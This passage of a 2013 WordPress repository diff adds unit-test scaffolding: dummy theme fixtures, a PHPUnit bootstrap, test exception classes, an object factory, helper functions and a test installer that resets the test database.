<span class="info">--- trunk/tests/data/themedir1/sandbox/functions.php                         (rev 0)
+++ trunk/tests/data/themedir1/sandbox/functions.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,7 @@
</span><ins>+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
</ins></span></pre></div>
<a id="trunktestsdatathemedir1sandboxindexphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/sandbox/index.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/sandbox/index.php                             (rev 0)
+++ trunk/tests/data/themedir1/sandbox/index.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,7 @@
</span><ins>+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
</ins></span></pre></div>
<a id="trunktestsdatathemedir1sandboxstylecss"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/sandbox/style.css (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/sandbox/style.css                             (rev 0)
+++ trunk/tests/data/themedir1/sandbox/style.css        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,11 @@
</span><ins>+/*
+THEME NAME: Sandbox
+THEME URI: http://www.plaintxt.org/themes/sandbox/
+DESCRIPTION: A theme with powerful, semantic CSS selectors and the ability to add new skins.
+VERSION: 0.6.1-wpcom
+AUTHOR: <a href="http://andy.wordpress.com/">Andy Skelton</a> &amp; <a href="http://www.plaintxt.org/">Scott Allan Wallick</a>
+AUTHOR URI:
+
+  This is a dummy theme for testing the above metadata.
+*/
+
</ins></span></pre></div>
<a id="trunktestsdatathemedir1stylesheetonlystylecss"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/stylesheetonly/style.css (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/stylesheetonly/style.css                              (rev 0)
+++ trunk/tests/data/themedir1/stylesheetonly/style.css 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,14 @@
</span><ins>+/*
+Theme Name: Stylesheet Only
+Theme URI: http://www.example.com/blog/
+Description: A three-column widget-ready theme in dark blue.
+Version: 1.0
+Author: Henry Crun
+Author URI: http://www.example.com/
+
+template: sandbox
+
+
+ This is a dummy theme for testing the above metadata.
+*/
+
</ins></span></pre></div>
<a id="trunktestsdatathemedir1subdirthemewithspacesindexphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/subdir/theme with spaces/index.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/subdir/theme with spaces/index.php                            (rev 0)
+++ trunk/tests/data/themedir1/subdir/theme with spaces/index.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1 @@
</span><ins>+<?php
</ins></span></pre></div>
<a id="trunktestsdatathemedir1subdirthemewithspacesstylecss"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/subdir/theme with spaces/style.css (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/subdir/theme with spaces/style.css                            (rev 0)
+++ trunk/tests/data/themedir1/subdir/theme with spaces/style.css       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,11 @@
</span><ins>+/*
+Theme Name: Theme with Spaces in the Directory
+Theme URI: http://example.org/
+Description: An example theme in a sub directory
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsdatathemedir1subdirtheme2functionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/subdir/theme2/functions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/subdir/theme2/functions.php                           (rev 0)
+++ trunk/tests/data/themedir1/subdir/theme2/functions.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,3 @@
</span><ins>+<?php
+
+?>
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsdatathemedir1subdirtheme2indexphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/subdir/theme2/index.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/subdir/theme2/index.php                               (rev 0)
+++ trunk/tests/data/themedir1/subdir/theme2/index.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,3 @@
</span><ins>+<?php
+
+?>
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsdatathemedir1subdirtheme2stylecss"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/subdir/theme2/style.css (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/subdir/theme2/style.css                               (rev 0)
+++ trunk/tests/data/themedir1/subdir/theme2/style.css  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,11 @@
</span><ins>+/*  
+Theme Name: My Subdir Theme
+Theme URI: http://example.org/
+Description: An example theme in a sub directory
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsdatathemedir1theme1functionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/theme1/functions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/theme1/functions.php                          (rev 0)
+++ trunk/tests/data/themedir1/theme1/functions.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,7 @@
</span><ins>+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
</ins></span></pre></div>
<a id="trunktestsdatathemedir1theme1indexphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/theme1/index.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/theme1/index.php                              (rev 0)
+++ trunk/tests/data/themedir1/theme1/index.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,7 @@
</span><ins>+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
</ins></span></pre></div>
<a id="trunktestsdatathemedir1theme1stylecss"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/theme1/style.css (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/theme1/style.css                              (rev 0)
+++ trunk/tests/data/themedir1/theme1/style.css 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,17 @@
</span><ins>+/*  
+Theme Name: My Theme
+Theme URI: http://example.org/
+Description: An example theme
+Version: 1.3
+Author: Minnie Bannister
+Author URI: http://example.com/
+
+       Kubrick v1.5
+        http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
</ins></span></pre></div>
<a id="trunktestsdatathemedir1theme1dupefunctionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/theme1-dupe/functions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/theme1-dupe/functions.php                             (rev 0)
+++ trunk/tests/data/themedir1/theme1-dupe/functions.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,7 @@
</span><ins>+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
</ins></span></pre></div>
<a id="trunktestsdatathemedir1theme1dupeindexphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/theme1-dupe/index.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/theme1-dupe/index.php                         (rev 0)
+++ trunk/tests/data/themedir1/theme1-dupe/index.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,7 @@
</span><ins>+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
</ins></span></pre></div>
<a id="trunktestsdatathemedir1theme1dupestylecss"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/theme1-dupe/style.css (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/theme1-dupe/style.css                         (rev 0)
+++ trunk/tests/data/themedir1/theme1-dupe/style.css    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,17 @@
</span><ins>+/*  
+Theme Name: My Theme
+Theme URI: http://example.org/
+Description: This theme has the same Theme Name as theme1
+Version: 1.4
+Author: Minnie Bannister
+Author URI: http://example.com/
+
+       Kubrick v1.5
+        http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
</ins></span></pre></div>
<a id="trunktestsincludesbootstrapphp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/bootstrap.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/bootstrap.php                               (rev 0)
+++ trunk/tests/includes/bootstrap.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,136 @@
</span><ins>+<?php
+/**
+ * Installs WordPress for running the tests and loads WordPress and the test libraries
+ */
+
+
+require_once 'PHPUnit/Autoload.php';
+
+$config_file_path = dirname( __FILE__ ) . '/../wp-tests-config.php';
+
+/*
+ * Globalize some WordPress variables, because PHPUnit loads this file inside a function
+ * See: https://github.com/sebastianbergmann/phpunit/issues/325
+ *
+ * These are not needed for WordPress 3.3+, only for older versions
+*/
+global $table_prefix, $wp_embed, $wp_locale, $_wp_deprecated_widgets_callbacks, $wp_widget_factory;
+
+// These are still needed
+global $wpdb, $current_site, $current_blog, $wp_rewrite, $shortcode_tags, $wp, $phpmailer;
+
+if ( !is_readable( $config_file_path ) ) {
+       die( "ERROR: wp-tests-config.php is missing! Please use wp-tests-config-sample.php to create a config file.\n" );
+}
+require_once $config_file_path;
+
+define( 'DIR_TESTDATA', dirname( __FILE__ ) . '/../data' );
+
+if ( ! defined( 'WP_TESTS_FORCE_KNOWN_BUGS' ) )
+       define( 'WP_TESTS_FORCE_KNOWN_BUGS', false );
+
+// Cron tries to make an HTTP request to the blog, which always fails, because tests are run in CLI mode only
+define( 'DISABLE_WP_CRON', true );
+
+define( 'WP_MEMORY_LIMIT', -1 );
+define( 'WP_MAX_MEMORY_LIMIT', -1 );
+
+$_SERVER['SERVER_PROTOCOL'] = 'HTTP/1.1';
+$_SERVER['HTTP_HOST'] = WP_TESTS_DOMAIN;
+$PHP_SELF = $GLOBALS['PHP_SELF'] = $_SERVER['PHP_SELF'] = '/index.php';
+
+if ( "1" == getenv( 'WP_MULTISITE' ) ||
+       ( defined( 'WP_TESTS_MULTISITE') && WP_TESTS_MULTISITE ) ) {
+       $multisite = true;
+} else {
+       $multisite = false;
+}
+
+// Override the PHPMailer
+require_once( dirname( __FILE__ ) . '/mock-mailer.php' );
+$phpmailer = new MockPHPMailer(); 
+
+system( WP_PHP_BINARY . ' ' . escapeshellarg( dirname( __FILE__ ) . '/install.php' ) . ' ' . escapeshellarg( $config_file_path ) . ' ' . $multisite );
+
+if ( $multisite ) {
+       echo "Running as multisite..." . PHP_EOL;
+       define( 'MULTISITE', true );
+       define( 'SUBDOMAIN_INSTALL', false );
+       define( 'DOMAIN_CURRENT_SITE', WP_TESTS_DOMAIN );
+       define( 'PATH_CURRENT_SITE', '/' );
+       define( 'SITE_ID_CURRENT_SITE', 1 );
+       define( 'BLOG_ID_CURRENT_SITE', 1 );
+       $GLOBALS['base'] = '/';
+} else {
+       echo "Running as single site... To run multisite, use -c multisite.xml" . PHP_EOL;
+}
+unset( $multisite );
+
+require_once dirname( __FILE__ ) . '/functions.php';
+
+// Preset WordPress options defined in bootstrap file.
+// Used to activate themes, plugins, as well as  other settings.
+if(isset($GLOBALS['wp_tests_options'])) {
+       function wp_tests_options( $value ) {
+               $key = substr( current_filter(), strlen( 'pre_option_' ) );
+               return $GLOBALS['wp_tests_options'][$key];
+       }
+
+       foreach ( array_keys( $GLOBALS['wp_tests_options'] ) as $key ) {
+               tests_add_filter( 'pre_option_'.$key, 'wp_tests_options' );
+       }
+}
+
+// Load WordPress
+require_once ABSPATH . '/wp-settings.php';
+
+// Delete any default posts & related data
+_delete_all_posts();
+
+require dirname( __FILE__ ) . '/testcase.php';
+require dirname( __FILE__ ) . '/testcase-xmlrpc.php';
+require dirname( __FILE__ ) . '/testcase-ajax.php';
+require dirname( __FILE__ ) . '/exceptions.php';
+require dirname( __FILE__ ) . '/utils.php';
+
+/**
+ * A child class of the PHP test runner.
+ *
+ * Not actually used as a runner. Rather, used to access the protected
+ * longOptions property, to parse the arguments passed to the script.
+ *
+ * If it is determined that phpunit was called with a --group that corresponds
+ * to an @ticket annotation (such as `phpunit --group 12345` for bugs marked
+ * as #WP12345), then it is assumed that known bugs should not be skipped.
+ *
+ * If WP_TESTS_FORCE_KNOWN_BUGS is already set in wp-tests-config.php, then
+ * how you call phpunit has no effect.
+ */
+class WP_PHPUnit_TextUI_Command extends PHPUnit_TextUI_Command {
+       function __construct( $argv ) {
+               $options = PHPUnit_Util_Getopt::getopt(
+                       $argv,
+                       'd:c:hv',
+                       array_keys( $this->longOptions )
+               );
+               $ajax_message = true;
+               foreach ( $options[0] as $option ) {
+                       switch ( $option[0] ) {
+                               case '--exclude-group' :
+                                       $ajax_message = false;
+                                       continue 2;
+                               case '--group' :
+                                       $groups = explode( ',', $option[1] );
+                                       foreach ( $groups as $group ) {
+                                               if ( is_numeric( $group ) || preg_match( '/^(UT|Plugin)\d+$/', $group ) )
+                                                       WP_UnitTestCase::forceTicket( $group );
+                                       }
+                                       $ajax_message = ! in_array( 'ajax', $groups );
+                                       continue 2;
+                       }
+               }
+               if ( $ajax_message )
+                       echo "Not running ajax tests... To execute these, use --group ajax." . PHP_EOL;
+    }
+}
+new WP_PHPUnit_TextUI_Command( $_SERVER['argv'] );
</ins></span></pre></div>
<a id="trunktestsincludesexceptionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/exceptions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/exceptions.php                              (rev 0)
+++ trunk/tests/includes/exceptions.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,33 @@
</span><ins>+<?php
+
+class WP_Tests_Exception extends PHPUnit_Framework_Exception {
+
+}
+
+/**
+ * General exception for wp_die()
+ */
+class WPDieException extends Exception {}
+
+/**
+ * Exception for cases of wp_die(), for ajax tests.
+ * This means there was an error (no output, and a call to wp_die)
+ *
+ * @package    WordPress
+ * @subpackage Unit Tests
+ * @since      3.4.0
+ */
+class WPAjaxDieStopException extends WPDieException {}
+
+/**
+ * Exception for cases of wp_die(), for ajax tests.
+ * This means execution of the ajax function should be halted, but the unit
+ * test can continue.  The function finished normally and there was not an
+ * error (output happened, but wp_die was called to end execution)  This is
+ * used with WP_Ajax_Response::send
+ *
+ * @package    WordPress
+ * @subpackage Unit Tests
+ * @since      3.4.0
+ */
+class WPAjaxDieContinueException extends WPDieException {}
</ins></span></pre></div>
<a id="trunktestsincludesfactoryphp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/factory.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/factory.php                         (rev 0)
+++ trunk/tests/includes/factory.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,344 @@
</span><ins>+<?php
+
+class WP_UnitTest_Factory {
+
+       /**
+        * @var WP_UnitTest_Factory_For_Post
+        */
+       public $post;
+
+       /**
+        * @var WP_UnitTest_Factory_For_Attachment
+        */
+       public $attachment;
+
+       /**
+        * @var WP_UnitTest_Factory_For_Comment
+        */
+       public $comment;
+
+       /**
+        * @var WP_UnitTest_Factory_For_User
+        */
+       public $user;
+
+       /**
+        * @var WP_UnitTest_Factory_For_Term
+        */
+       public $term;
+
+       /**
+        * @var WP_UnitTest_Factory_For_Term
+        */
+       public $category;
+
+       /**
+        * @var WP_UnitTest_Factory_For_Term
+        */
+       public $tag;
+
+       /**
+        * @var WP_UnitTest_Factory_For_Blog
+        */
+       public $blog;
+
+       function __construct() {
+               $this->post = new WP_UnitTest_Factory_For_Post( $this );
+               $this->attachment = new WP_UnitTest_Factory_For_Attachment( $this );
+               $this->comment = new WP_UnitTest_Factory_For_Comment( $this );
+               $this->user = new WP_UnitTest_Factory_For_User( $this );
+               $this->term = new WP_UnitTest_Factory_For_Term( $this );
+               $this->category = new WP_UnitTest_Factory_For_Term( $this, 'category' );
+               $this->tag = new WP_UnitTest_Factory_For_Term( $this, 'post_tag' );
+               if ( is_multisite() )
+                       $this->blog = new WP_UnitTest_Factory_For_Blog( $this );
+       }
+}
+
+class WP_UnitTest_Factory_For_Post extends WP_UnitTest_Factory_For_Thing {
+
+       function __construct( $factory = null ) {
+               parent::__construct( $factory );
+               $this->default_generation_definitions = array(
+                       'post_status' => 'publish',
+                       'post_title' => new WP_UnitTest_Generator_Sequence( 'Post title %s' ),
+                       'post_content' => new WP_UnitTest_Generator_Sequence( 'Post content %s' ),
+                       'post_excerpt' => new WP_UnitTest_Generator_Sequence( 'Post excerpt %s' ),
+                       'post_type' => 'post'
+               );
+       }
+
+       function create_object( $args ) {
+               return wp_insert_post( $args );
+       }
+
+       function update_object( $post_id, $fields ) {
+               $fields['ID'] = $post_id;
+               return wp_update_post( $fields );
+       }
+
+       function get_object_by_id( $post_id ) {
+               return get_post( $post_id );
+       }
+}
+
+class WP_UnitTest_Factory_For_Attachment extends WP_UnitTest_Factory_For_Post {
+
+               function create_object( $file, $parent = 0, $args = array() ) {
+                       return wp_insert_attachment( $args, $file, $parent );
+               }
+}
+
+class WP_UnitTest_Factory_For_User extends WP_UnitTest_Factory_For_Thing {
+
+       function __construct( $factory = null ) {
+               parent::__construct( $factory );
+               $this->default_generation_definitions = array(
+                       'user_login' => new WP_UnitTest_Generator_Sequence( 'User %s' ),
+                       'user_pass' => 'password',
+                       'user_email' => new WP_UnitTest_Generator_Sequence( 'user_%s@example.org' ),
+               );
+       }
+
+       function create_object( $args ) {
+               return wp_insert_user( $args );
+       }
+
+       function update_object( $user_id, $fields ) {
+               $fields['ID'] = $user_id;
+               return wp_update_user( $fields );
+       }
+
+       function get_object_by_id( $user_id ) {
+               return new WP_User( $user_id );
+       }
+}
+
+class WP_UnitTest_Factory_For_Comment extends WP_UnitTest_Factory_For_Thing {
+
+       function __construct( $factory = null ) {
+               parent::__construct( $factory );
+               $this->default_generation_definitions = array(
+                       'comment_author' => new WP_UnitTest_Generator_Sequence( 'Commenter %s' ),
+                       'comment_author_url' => new WP_UnitTest_Generator_Sequence( 'http://example.com/%s/' ),
+                       'comment_approved' => 1,
+               );
+       }
+
+       function create_object( $args ) {
+               return wp_insert_comment( $this->addslashes_deep( $args ) );
+       }
+
+       function update_object( $comment_id, $fields ) {
+               $fields['comment_ID'] = $comment_id;
+               return wp_update_comment( $this->addslashes_deep( $fields ) );
+       }
+
+       function create_post_comments( $post_id, $count = 1, $args = array(), $generation_definitions = null ) {
+               $args['comment_post_ID'] = $post_id;
+               return $this->create_many( $count, $args, $generation_definitions );
+       }
+
+       function get_object_by_id( $comment_id ) {
+               return get_comment( $comment_id );
+       }
+}
+
+class WP_UnitTest_Factory_For_Blog extends WP_UnitTest_Factory_For_Thing {
+
+       function __construct( $factory = null ) {
+               global $current_site, $base;
+               parent::__construct( $factory );
+               $this->default_generation_definitions = array(
+                       'domain' => $current_site->domain,
+                       'path' => new WP_UnitTest_Generator_Sequence( $base . 'testpath%s' ),
+                       'title' => new WP_UnitTest_Generator_Sequence( 'Site %s' ),
+                       'site_id' => $current_site->id,
+               );
+       }
+
+       function create_object( $args ) {
+               $meta = isset( $args['meta'] ) ? $args['meta'] : array();
+               $user_id = isset( $args['user_id'] ) ? $args['user_id'] : get_current_user_id();
+               return wpmu_create_blog( $args['domain'], $args['path'], $args['title'], $user_id, $meta, $args['site_id'] );
+       }
+
+       function update_object( $blog_id, $fields ) {}
+
+       function get_object_by_id( $blog_id ) {
+               return get_blog_details( $blog_id, false );
+       }
+}
+
+
+class WP_UnitTest_Factory_For_Term extends WP_UnitTest_Factory_For_Thing {
+
+       private $taxonomy;
+       const DEFAULT_TAXONOMY = 'post_tag';
+
+       function __construct( $factory = null, $taxonomy = null ) {
+               parent::__construct( $factory );
+               $this->taxonomy = $taxonomy ? $taxonomy : self::DEFAULT_TAXONOMY;
+               $this->default_generation_definitions = array(
+                       'name' => new WP_UnitTest_Generator_Sequence( 'Term %s' ),
+                       'taxonomy' => $this->taxonomy,
+                       'description' => new WP_UnitTest_Generator_Sequence( 'Term description %s' ),
+               );
+       }
+
+       function create_object( $args ) {
+               $args = array_merge( array( 'taxonomy' => $this->taxonomy ), $args );
+               $term_id_pair = wp_insert_term( $args['name'], $args['taxonomy'], $args );
+               if ( is_wp_error( $term_id_pair ) )
+                       return $term_id_pair;
+               return $term_id_pair['term_id'];
+       }
+
+       function update_object( $term, $fields ) {
+               $fields = array_merge( array( 'taxonomy' => $this->taxonomy ), $fields );
+               if ( is_object( $term ) )
+                       $taxonomy = $term->taxonomy;
+               $term_id_pair = wp_update_term( $term, $taxonomy, $fields );
+               return $term_id_pair['term_id'];
+       }
+
+       function add_post_terms( $post_id, $terms, $taxonomy, $append = true ) {
+               return wp_set_post_terms( $post_id, $terms, $taxonomy, $append );
+       }
+
+       function get_object_by_id( $term_id ) {
+               return get_term( $term_id, $this->taxonomy );
+       }
+}
+
+abstract class WP_UnitTest_Factory_For_Thing {
+
+       var $default_generation_definitions;
+       var $factory;
+
+       /**
+        * Creates a new factory, which will create objects of a specific Thing
+        *
+        * @param object $factory Global factory that can be used to create other objects on the system
+        * @param array $default_generation_definitions Defines what default values should the properties of the object have. The default values
+        * can be generators -- an object with next() method. There are some default generators: {@link WP_UnitTest_Generator_Sequence},
+        * {@link WP_UnitTest_Generator_Locale_Name}, {@link WP_UnitTest_Factory_Callback_After_Create}.
+        */
+       function __construct( $factory, $default_generation_definitions = array() ) {
+               $this->factory = $factory;
+               $this->default_generation_definitions = $default_generation_definitions;
+       }
+
+       abstract function create_object( $args );
+       abstract function update_object( $object, $fields );
+
+       function create( $args = array(), $generation_definitions = null ) {
+               if ( is_null( $generation_definitions ) )
+                       $generation_definitions = $this->default_generation_definitions;
+
+               $generated_args = $this->generate_args( $args, $generation_definitions, $callbacks );
+               $created = $this->create_object( $generated_args );
+               if ( !$created || is_wp_error( $created ) )
+                       return $created;
+
+               if ( $callbacks ) {
+                       $updated_fields = $this->apply_callbacks( $callbacks, $created );
+                       $save_result = $this->update_object( $created, $updated_fields );
+                       if ( !$save_result || is_wp_error( $save_result ) )
+                               return $save_result;
+               }
+               return $created;
+       }
+
+       function create_and_get( $args = array(), $generation_definitions = null ) {
+               $object_id = $this->create( $args, $generation_definitions );
+               return $this->get_object_by_id( $object_id );
+       }
+
+       abstract function get_object_by_id( $object_id );
+
+       function create_many( $count, $args = array(), $generation_definitions = null ) {
+               $results = array();
+               for ( $i = 0; $i < $count; $i++ ) {
+                       $results[] = $this->create( $args, $generation_definitions );
+               }
+               return $results;
+       }
+
+       function generate_args( $args = array(), $generation_definitions = null, &$callbacks = null ) {
+               $callbacks = array();
+               if ( is_null( $generation_definitions ) )
+                       $generation_definitions = $this->default_generation_definitions;
+
+               foreach( array_keys( $generation_definitions ) as $field_name ) {
+                       if ( !isset( $args[$field_name] ) ) {
+                               $generator = $generation_definitions[$field_name];
+                               if ( is_scalar( $generator ) )
+                                       $args[$field_name] = $generator;
+                               elseif ( is_object( $generator ) && method_exists( $generator, 'call' ) ) {
+                                       $callbacks[$field_name] = $generator;
+                               } elseif ( is_object( $generator ) )
+                                       $args[$field_name] = $generator->next();
+                               else
+                                       return new WP_Error( 'invalid_argument', 'Factory default value should be either a scalar or an generator object.' );
+                       }
+               }
+               return $args;
+       }
+
+       function apply_callbacks( $callbacks, $created ) {
+               $updated_fields = array();
+               foreach( $callbacks as $field_name => $generator ) {
+                       $updated_fields[$field_name] = $generator->call( $created );
+               }
+               return $updated_fields;
+       }
+
+       function callback( $function ) {
+               return new WP_UnitTest_Factory_Callback_After_Create( $function );
+       }
+
+       function addslashes_deep($value) {
+               if ( is_array( $value ) ) {
+                       $value = array_map( array( $this, 'addslashes_deep' ), $value );
+               } elseif ( is_object( $value ) ) {
+                       $vars = get_object_vars( $value );
+                       foreach ($vars as $key=>$data) {
+                               $value->{$key} = $this->addslashes_deep( $data );
+                       }
+               } elseif ( is_string( $value ) ) {
+                       $value = addslashes( $value );
+               }
+
+               return $value;
+       }
+
+}
+
+class WP_UnitTest_Generator_Sequence {
+       var $next;
+       var $template_string;
+
+       function __construct( $template_string = '%s', $start = 1 ) {
+               $this->next = $start;
+               $this->template_string = $template_string;
+       }
+
+       function next() {
+               $generated = sprintf( $this->template_string , $this->next );
+               $this->next++;
+               return $generated;
+       }
+}
+
+class WP_UnitTest_Factory_Callback_After_Create {
+       var $callback;
+
+       function __construct( $callback ) {
+               $this->callback = $callback;
+       }
+
+       function call( $object ) {
+               return call_user_func( $this->callback, $object );
+       }
+}
</ins></span></pre></div>
<a id="trunktestsincludesfunctionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/functions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/functions.php                               (rev 0)
+++ trunk/tests/includes/functions.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,44 @@
</span><ins>+<?php
+
+// For adding hooks before loading WP
+function tests_add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1) {
+       global $wp_filter, $merged_filters;
+
+       $idx = _test_filter_build_unique_id($tag, $function_to_add, $priority);
+       $wp_filter[$tag][$priority][$idx] = array('function' => $function_to_add, 'accepted_args' => $accepted_args);
+       unset( $merged_filters[ $tag ] );
+       return true;
+}
+
+function _test_filter_build_unique_id($tag, $function, $priority) {
+       global $wp_filter;
+       static $filter_id_count = 0;
+
+       if ( is_string($function) )
+               return $function;
+
+       if ( is_object($function) ) {
+               // Closures are currently implemented as objects
+               $function = array( $function, '' );
+       } else {
+               $function = (array) $function;
+       }
+
+       if (is_object($function[0]) ) {
+               return spl_object_hash($function[0]) . $function[1];
+       } else if ( is_string($function[0]) ) {
+               // Static Calling
+               return $function[0].$function[1];
+       }
+}
+
+function _delete_all_posts() {
+       global $wpdb;
+
+       $all_posts = $wpdb->get_col("SELECT ID from {$wpdb->posts}");
+       if ($all_posts) {
+               foreach ($all_posts as $id)
+                       wp_delete_post( $id, true );
+       }
+}
+
</ins></span></pre></div>
<a id="trunktestsincludesinstallphp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/install.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/install.php                         (rev 0)
+++ trunk/tests/includes/install.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,67 @@
</span><ins>+<?php
+/**
+ * Installs WordPress for the purpose of the unit-tests
+ *
+ * @todo Reuse the init/load code in init.php
+ */
+error_reporting( E_ALL & ~E_DEPRECATED & ~E_STRICT );
+
+$config_file_path = $argv[1];
+$multisite = ! empty( $argv[2] );
+
+define( 'WP_INSTALLING', true );
+require_once $config_file_path;
+require_once dirname( __FILE__ ) . '/functions.php';
+
+$_SERVER['SERVER_PROTOCOL'] = 'HTTP/1.1';
+$_SERVER['HTTP_HOST'] = WP_TESTS_DOMAIN;
+$PHP_SELF = $GLOBALS['PHP_SELF'] = $_SERVER['PHP_SELF'] = '/index.php';
+
+require_once ABSPATH . '/wp-settings.php';
+
+require_once ABSPATH . '/wp-admin/includes/upgrade.php';
+require_once ABSPATH . '/wp-includes/wp-db.php';
+
+define( 'WP_TESTS_VERSION_FILE', ABSPATH . '.wp-tests-version' );
+
+$wpdb->suppress_errors();
+$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
+$wpdb->suppress_errors( false );
+
+$hash = get_option( 'db_version' ) . ' ' . (int) $multisite . ' ' . sha1_file( $config_file_path );
+
+if ( $installed && file_exists( WP_TESTS_VERSION_FILE ) && file_get_contents( WP_TESTS_VERSION_FILE ) == $hash )
+       return;
+
+$wpdb->query( 'SET storage_engine = INNODB' );
+$wpdb->select( DB_NAME, $wpdb->dbh );
+
+echo "Installing..." . PHP_EOL;
+
+foreach ( $wpdb->tables() as $table => $prefixed_table ) {
+       $wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" );
+}
+
+foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table ) {
+       $wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" );
+
+       // We need to create references to ms global tables.
+       if ( $multisite )
+               $wpdb->$table = $prefixed_table;
+}
+
+wp_install( WP_TESTS_TITLE, 'admin', WP_TESTS_EMAIL, true, null, 'password' );
+
+if ( $multisite ) {
+       echo "Installing network..." . PHP_EOL;
+
+       define( 'WP_INSTALLING_NETWORK', true );
+
+       $title = WP_TESTS_TITLE . ' Network';
+       $subdomain_install = false;
+
+       install_network();
